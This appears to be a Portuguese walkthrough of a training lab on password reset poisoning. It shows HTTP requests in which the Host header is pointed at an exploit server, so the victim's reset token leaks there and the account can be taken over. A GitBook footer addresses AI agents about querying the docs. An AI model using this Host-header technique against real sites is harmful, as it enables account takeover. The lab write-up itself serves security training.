> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/host-header/basic-password-reset-poisoning.md).

# Envenenamento Básico do Mecanismo de Redefinição de Senha

### Envenenamento básico da redefinição de senha

**Descrição do laboratório**

Este laboratório apresenta uma vulnerabilidade ao envenenamento do processo de redefinição de senha. / Usuário **carlos** clica sem cautela em todos os links recebidos por e-mail.

Objetivo:

* Use essa falha para recuperar um link de redefinição válido
* Entrar em **conta do Carlos**

Identificador fornecido:

* Usuário: **wiener**
* Senha: **peter**

Todos os e-mails enviados para esta conta podem ser acessados pelo cliente de e-mail do servidor\*\*.

**Observação inicial**

O aplicativo oferece um \*\*

<figure><img src="/files/d6640f436fbc782fd79d5b47da1571f20070d4b3" alt=""><figcaption></figcaption></figure>

Ao inserir o `wiener` usuário, um e-mail de redefinição é enviado corretamente.

<figure><img src="/files/c910d310f348b79fc14cd359161a414aea1d6581" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b675e2fe0b7dbd147b7eec3becbc48a801f2e8cc" alt=""><figcaption></figcaption></figure>

**Análise da requisição do backend**

A requisição HTTP enviada durante a solicitação de redefinição é a seguinte:

```http
POST /forgot-password HTTP/2
Host: 0af900f303cc106580bb030b00540086.web-security-academy.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=wiener
```

<figure><img src="/files/89f47a7bdef1ec5f9709a12944fd16ecea3a2b45" alt=""><figcaption></figcaption></figure>

**Teste de manipulação do cabeçalho Host**

Ao substituir o `Host` valor do cabeçalho por um domínio arbitrário (por exemplo, `test.com`), o servidor sempre processa a requisição como válida e gera o link de redefinição a partir desse Host modificado.

```http
Host: test.com
```

A página interpreta o conteúdo da mesma forma que a página do host normal.

<figure><img src="/files/c76a9b8ad800f99bdba99f2886faf928f2fdfea3" alt=""><figcaption></figcaption></figure>

Isso confirma uma confiança excessiva no cabeçalho Host\*\*.

**Exploração da vulnerabilidade**

O ataque consiste em:

1. Altere o `Host` cabeçalho para inserir o domínio**servidor de exploração**
2. Solicitar redefinição para o usuário **carlos**

Aplicativo:

```http
POST /forgot-password HTTP/2
Host: exploit-0a5c001303a8105f80b302b10120000a.exploit-server.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=carlos
```

**Resultado**

* O servidor gera um link de redefinição com base em **Host controlado pelo atacante**
* Usuário **carlos** clique neste link armadilhado recebido por e-mail
* O token de redefinição fica então visível nos logs do servidor de exploração
* Você pode definir uma nova senha para a conta **carlos**
* Conexão bem-sucedida com a conta alvo

<figure><img src="/files/7020f707524ddfd98d68a5687f446f8cf3d85b10" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/host-header/basic-password-reset-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
